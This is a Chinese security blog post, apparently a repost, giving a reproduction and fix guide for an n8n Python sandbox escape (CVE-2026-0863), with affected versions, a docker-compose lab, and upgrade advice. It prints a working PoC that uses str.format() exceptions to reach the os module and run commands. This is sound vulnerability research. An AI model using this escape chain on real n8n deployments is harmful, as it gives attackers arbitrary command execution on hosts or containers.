文章总结: 本文详细分析了n8n开源工作流自动化工具中的Python沙箱逃逸漏洞(CVE-2026-0863)。该漏洞利用字符串格式化与异常处理机制的组合,允许攻击者绕过沙箱限制执行任意系统命令。根据运行模式不同,风险等级也不同:Internal模式下可直接接管宿主机,而External模式下则被限制在Sidecar容器内。文章提供了受影响版本范围及修复方案,并给出了利用链分析和PoC代码。 综合评分: 95 文章分类: 漏洞分析,WEB安全,渗透测试,红队,技术标准
复现与修复指南:n8n python沙箱逃逸漏洞(CVE-2026-0863)
原创
秀逗猫 秀逗猫
秀逗猫
2026年1月20日 16:23 北京
n8n是一款较为流行的开源工作流自动化工具,它能够让用户借助可视化界面或者代码块来开展不同服务以及API的连接工作。其中,Code节点允许用户去执行自定义的JavaScript或者Python代码,以此来实现复杂的数据处理逻辑。为了保障安全性,n8n会对这些代码的执行环境进行沙箱隔离操作。
而CVE-2026-0863恰恰是针对其Python沙箱环境的一次成功绕过行为,主要是运用了字符串格式化外加异常处理机制的组合方式。攻击者一旦成功利用了这个漏洞,就可以在n8n实例所对应的底层操作系统上执行任意命令。
- Internal模式:要是n8n运行于默认的Internal模式当中,攻击者便能够直接接管整个n8n实例所在的宿主机。
- External模式:要是n8n运行在被推荐的External模式之下(例如官方Docker镜像),任意代码的执行将会被限制在独立的Sidecar容器里面,虽然依旧属于RCE,但对主系统所产生的影响会在很大程度上降低。
目前n8n官方已发布修复方案,建议相关用户及时更新至安全版本以规避潜在风险。
| 受影响版本范围 | 修复版本 | | — | — | | <1.123.14 | 1.123.14 | | [2.0.0, 2.3.5) | 2.3.5 | | [2.4.0, 2.4.2) | 2.4.2 |
复现指南
2个注意的点:
1.123.13版本内置的Python版本是Python (Beta)版本,执行PoC时,会报TypeError: 'builtin_function_or_method' object is not subscriptable。这时候只能使用外部的Sidecar容器来复现。2.3.4版本内部没Python解释器,执行PoC时,会报Python runner unavailable: Python 3 is missing from this system。秀逗猫经查阅官方文档发现,从v2.0版本开始,在外部模式下只能使用带有任务运行器的Python代码节点和原生Python工具。
为了方便复现,秀逗猫编写docker-compose.yml如下:
version: "3.8"
services:
n8n:
image:n8nio/n8n:1.123.13
container_name:n8n-main
restart:always
ports:
-"5678:5678"
environment:
-N8N_RUNNERS_ENABLED=true
-N8N_RUNNERS_MODE=external
-N8N_RUNNERS_BROKER_LISTEN_ADDRESS=0.0.0.0
-N8N_RUNNERS_AUTH_TOKEN=XiuDouMao
-N8N_NATIVE_PYTHON_RUNNER=true
-N8N_SECURE_COOKIE=false
volumes:
-n8n_data:/home/node/.n8n
task-runners:
image:n8nio/runners:1.123.13
container_name:n8n-runners
restart:always
environment:
-N8N_RUNNERS_TASK_BROKER_URI=http://n8n-main:5679
-N8N_RUNNERS_AUTH_TOKEN=XiuDouMao
depends_on:
-n8n
volumes:
n8n_data:
(如果要测试2.3.4版本的,把上面2处1.123.13给替换为2.3.4即可)
之后创建工作流,增加Code节点,选择Python语言,把以下PoC填写进去。
def new_getattr(obj, attribute, *, Exception):
try:
f'{{0.{attribute}.ribbit}}'.format(obj)
except Exception as e:
return e.obj
try:
raise ValueError("pwn")
except Exception as e:
tb = new_getattr(e, '__traceback__', Exception=Exception)
frame = new_getattr(tb, 'tb_frame', Exception=Exception)
builtins = new_getattr(frame, 'f_builtins', Exception=Exception)
us = chr(95)
imprt = builtins[us+us+'import'+us+us]
import_globals = new_getattr(imprt, '__globals__', Exception=Exception)
os = import_globals['os']
# 返回执行结果
return [{"json": {
"uname": os.uname()
}}]
这里os.uname()顺利执行成功。
这就是一个“看起来很安全的沙箱,其实被几行Python就能戳破”的典型案例。只要你有创建工作流的权限,在受影响版本的n8n上就能把沙箱玩坏。
该漏洞的核心在于利用Python字符串格式化函数str.format()在处理异常时的特性。当使用f-string或str.format()尝试访问一个对象不存在的属性时,Python会抛出 AttributeError或其他异常。在某些Python版本和环境下,这个异常对象(e)会包含一个名为obj的属性,该属性指向了格式化操作中尝试访问属性的原始对象。通过这种方式,攻击者可以绕过沙箱对getattr()或直接属性访问的限制,安全地获取任何对象的任意属性,随之攻击者就可以构建一个完整的利用链,从一个受限的异常对象开始,逐步获取到能够执行系统命令的os模块。
修复指南
用户应立即将n8n实例升级到以下版本或更高版本:
- 1.x系列:1.123.14
- 2.x系列:2.3.5或2.4.2
更新后,再执行同样的命令就会报错
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:秀逗猫 秀逗猫 秀逗猫《复现与修复指南:n8n python沙箱逃逸漏洞(CVE-2026-0863)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论